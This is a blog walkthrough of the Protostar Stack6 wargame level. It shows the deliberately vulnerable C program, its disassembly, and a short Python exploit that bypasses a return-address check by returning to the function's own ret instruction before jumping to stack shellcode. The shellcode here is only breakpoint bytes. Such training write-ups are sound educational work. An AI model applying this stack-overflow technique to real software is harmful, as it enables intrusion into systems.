Binary Exploitation Protostar Stack6 - Walkthrough - Using Return To Text Execution - Writeup

Hello Guyz,

Welcome again to my blog. Today, I am going to share with you my walkthrough experience of Exploit-Exercise Protostar Stack6 Level.

In this level, Our goal is to overwrite Return pointer Address And Then Use This Vulnerability To Execute Our Injected Shellcodes. Actually, We just have to prove that with this vulnerability we can exploit this software. but here comes another difficulty of this level. As Already mentioned in hint

Stack6 looks at what happens when you have restrictions on the return address. So, In simple words, we have to exploit this level with another technique.

After Searching, Different Concepts And Techniques. I found some techniques that can bypass this level restrictions easily.

and I will also suggest you to spend few minutes in reading about these techniques.

1. Return To Libc
2. Duplicate Code Execution
3. Return To Text Execution
4. Return To Object Orient Programming

And Try To Apply all these techniques at this level.
By The way, I am going to test it all. So, Check My Blog Index for These Techniques Implementations.

Today, I am going to use Return to Text Execution. For More Details Use Google and Brain. Now, let's Start Our Walkthrough

Before Starting Our Walkthrough Let's Take a Look At Hints And Details.

Note: I want to highlight Few Points.

  • I'm not the creator of protostar war game. I am just a player.
  • Here, I am Just providing you hints and reference so, that if you feel stuck anywhere. Take a Look Here.
  • Understand all previous levels before starting this one.
  • Do some research on Assembly, C/C++ and Gdb


#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);


  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
      printf("bzzzt (%p)\n", ret);

  printf("got path %s\n", buffer);

int main(int argc, char **argv)



Stack6 looks at what happens when you have restrictions on the return address.

This level can be done in a couple of ways, 
such as finding the duplicate of the payload (objdump -s) will help with this), or ret2libc, or even return orientated programming.

It is strongly suggested you experiment with multiple ways of getting your code to execute here.

This level is at /opt/protostar/bin/stack6

Disassembly Of Codes

0x08048484 <getpath+0>: push   ebp
0x08048485 <getpath+1>: mov    ebp,esp
0x08048487 <getpath+3>: sub    esp,0x68
0x0804848a <getpath+6>: mov    eax,0x80485d0
0x0804848f <getpath+11>: mov    DWORD PTR [esp],eax
0x08048492 <getpath+14>: call   0x80483c0 <printf@plt>
0x08048497 <getpath+19>: mov    eax,ds:0x8049720
0x0804849c <getpath+24>: mov    DWORD PTR [esp],eax
0x0804849f <getpath+27>: call   0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>: lea    eax,[ebp-0x4c]
0x080484a7 <getpath+35>: mov    DWORD PTR [esp],eax
0x080484aa <getpath+38>: call   0x8048380 <gets@plt>
0x080484af <getpath+43>: mov    eax,DWORD PTR [ebp+0x4]
0x080484b2 <getpath+46>: mov    DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>: mov    eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>: and    eax,0xbf000000
0x080484bd <getpath+57>: cmp    eax,0xbf000000
0x080484c2 <getpath+62>: jne    0x80484e4 <getpath+96>
0x080484c4 <getpath+64>: mov    eax,0x80485e4
0x080484c9 <getpath+69>: mov    edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>: mov    DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>: mov    DWORD PTR [esp],eax
0x080484d3 <getpath+79>: call   0x80483c0 <printf@plt>
0x080484d8 <getpath+84>: mov    DWORD PTR [esp],0x1
0x080484df <getpath+91>: call   0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>: mov    eax,0x80485f0
0x080484e9 <getpath+101>: lea    edx,[ebp-0x4c]
0x080484ec <getpath+104>: mov    DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>: mov    DWORD PTR [esp],eax
0x080484f3 <getpath+111>: call   0x80483c0 <printf@plt>
0x080484f8 <getpath+116>: leave  
0x080484f9 <getpath+117>: ret 


import struct

buf = "a"*80

eip = struct.pack("I",0x080484f9) # Get Path Ret Call address

neip = struct.pack("I",0xbffffce4) # Address To Our Shellcode

# ------------------------------------------------------------------------
# | 'A'*80 | [CurrentFunctionRETInstruction] | PointToStack | Shellcode | 
# ------------------------------------------------------------------------
# After RET Function Code, Machine Will Check For NExt Instruction
# Actually Above RET is Just Point To Instruction and as me know, 
# process always save next instruction as NEW EIP
print buf+eip + neip + '\xcc'*40

For More Detailed Walk through Check Below Provided YouTube Video Playlist

Share this

Related Posts

Next Post »